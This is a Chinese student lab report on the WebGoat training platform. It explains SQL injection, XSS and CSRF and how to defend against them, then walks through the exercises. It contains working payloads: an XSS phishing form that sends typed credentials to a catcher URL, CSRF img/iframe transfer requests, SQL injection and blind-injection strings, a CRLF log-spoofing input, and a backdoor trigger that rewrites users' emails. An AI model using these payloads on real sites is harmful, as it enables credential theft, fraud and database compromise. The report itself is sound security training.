基础问题回答

1.SQL注入攻击原理,如何防御

原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,最终达到欺骗服务器执行恶意的SQL命令。

本质:基于文本解析的机制无法分辨代码是否是恶意代码,仅仅是顺序读取和执行,因为通常文本解析的语言并不会进行编译。

防御:既然可以看到注入类攻击的核心原因是因为很多语言的顺序执行机制,和文本解析的本质,那么我只需要打破这种机制就可以防止注入攻击的发生。以SQL注入为例,可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。

2.xSS攻击的原理,如何防御

原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

条件:
网站需要有输入参数的地方。(所谓输入不一定是<\input>标签的文本框类型,也可以是选择栏,或者submit,只需要通过工具进行intercept修改参数,能够控制传入值就可以了。)
用户的输入会被通过某种方式再次呈现出来。

分类:反射型和储存型,简单来讲,反射型不存储信息,一旦离开该网页所有输入无法再找回;储存型会存储信息,会将用户名甚至密码存储起来,即使离开这个网站下次再次进入,用户名依旧会留存在页面。

防御:
过滤<>标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<>标记。

HTML属性过滤,一旦用户输入的语句中含有javascriptjscript``vbscript,都用空白代替。

过滤特殊字符:&、回车和空格。

3.CSRF攻击原理,如何防御

原理:

CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.

实例:利用HTML的Request机制,攻击者发送给被害者一个www.B.com域名下的网站,内部嵌入了恶意的src=www.A.com的Request指令,如果被害者打开B.com时当前浏览器正好已经登录过了A.com并且把A.com的Cookie放入了浏览器,那么在B.com下Request站点A.com时就会带走A.com的Session.服务器会错误的认为B.com的恶意请求是用户自己发出的。

防御:

CSRF的攻击是有条件的,当用户访问恶意链接的时候,认证的cookie仍然有效,所以当用户关闭页面的时候cookie应该要被清除。

验证HTTP Referer字段。

在请求地址中添加token并验证。

在HTTP头中自定义属性并验证。

实验过程

WebGoat

首先什么是WebGoat呢,官网给出的解释是WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。

运行WebGoat,在这之前需要一个java的环境,所以得先安装一个JDK,如果虚拟机里已经有了,那就省了不少事儿,直接在终端键入命令

java -jar webgoat-container-7.0.1-war-exec.jar

由于WebGoat使用的是8080端口,所以在浏览器上访问localhost:8080/WebGoat,进入WebGoat,默认的账号密码进行登录。

进去之后就可以在左边看到很多练习啦。

xss攻击

Phishing with XSS跨站脚本钓鱼攻击

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击
先编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:30%;background-color:green;"></div>
<div style="float:left;height:100px;width:30%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:100px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

然后在webgoat找到xss攻击打开Phishing with XSS

我们之后将上面的代码输入之后并且点击search之后就可以看到我们的登录界面了。

在登录框中输入用户名以及密码
我们可以发现攻击成功

2、Stored XSS Attacks存储型XSS攻击

存储型XSS的攻击基本流程:

a. 比如在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,并且提交。
b. 网站后台程序将留言内容存储在数据中
c. 然后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了之前黑客的留言内容,并且直接插入在html页面中,这就可能导致了:黑客留言的脚本本身应该作为内容显示在留言板的,然后此时可能黑客的留言脚本被浏览器解释执行了。

黑客脚本能干的事:

通过javascript获取用户的cookie,根据这个cookie窃取用户信息
重定向网站到一个钓鱼网站
重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器

打开Stored XSS Attacks(xxs攻击)

Message框中输入

`

攻击成功。

3.Reflected XSS Attacks 反射型XSS攻击

我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,
如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS.
有人会问,我怎么可能自己去把value改成可以执行的恶意代码呢?这不是自己坑自己吗.
但是一种情况是别人可能修改这个value值,然后将这个恶意的URL发送给你,或者别人,当URL地址被打开时,
特有的恶意代码参数被HTML解析,执行.它的特点是非持久化,必须用户点击带有特定参数的链接才能引起

打开第三个xss攻击

点击Purchase出现对话框,显示I am 20155309nhx。攻击成功!

CSRF攻击

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

1、Cross Site Request Forgery(CSRF)

查看页面右边Parameters中的srcmenu值。

在title框中输入学号,message框中输入代码:

<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

提交后生成一个链接20155309

点击后即可查看信息,攻击成功

2.CSRF Prompt By-Pass

查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:

   <iframe src="attack?Screen=282&menu=900&transferFunds=555555"> </iframe>
   
   
   <iframe src="attack?Screen=282&menu=900&transferFunds=CONFIRM"> </iframe>

点击学号名即可查看用户操作的信息,攻击成功

SQL注入攻击

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

1、Numeric SQL Injection

我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改

在Kali桌面上找到如下图标,打开BurpSuite:

在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5309,点击确认后会在Options下增加一行,勾选新形成的这一行:

点击浏览器右上方的更多选项卡,选择preference

在页面左侧选择advanced,选择network页标签,在connection那一行选择settings

在弹出的窗口中设置代理服务器和端口(要与BurpSuite中绑定的一致)

设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

右键选择send to repeater

进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为

SELECT * FROM weather_data WHERE station = 101 or 1=1

回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功。

2、Command Injection

我们对这个进行操作还是在BurpSuite进行抓包修改。

在题目页面点击view,然后进入BurpSuite中,在repeater页标签的Params选项中先运行一次,查看数据都提交的位置,显示破解成功

回到题目发现显示破解成功。

3、Log Spoofing

User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:

4.String SQL Injection

基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --
点Go,攻击成功,所有用户信息都被显示出来:

5.Blind Numeric SQL Injection

在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的

构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );根据返回结果判定合法范围

使用二分法进行测试,确定值是2364,输入2364后破解成功

6.Database Backdoors

输入101可得到该用户信息

再输入语句101; update employee set salary=666666成功可将该用户的工资变成666666,如下图所示成功

再输入语句

101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155321@qq.com' WHERE userid = NEW.userid

当表中有新用户时则新用户的邮箱则为自己设置的邮箱

实验体会

首先我们在做实验时候,第一个终端一定不要关闭,否则会导致自己后续实验的失败,实验的难度不大,但是需要自己分条的进行操作,所以很麻烦,做的时候有一点烦躁,不过还好,这个是最后一个实验了,要say bye了。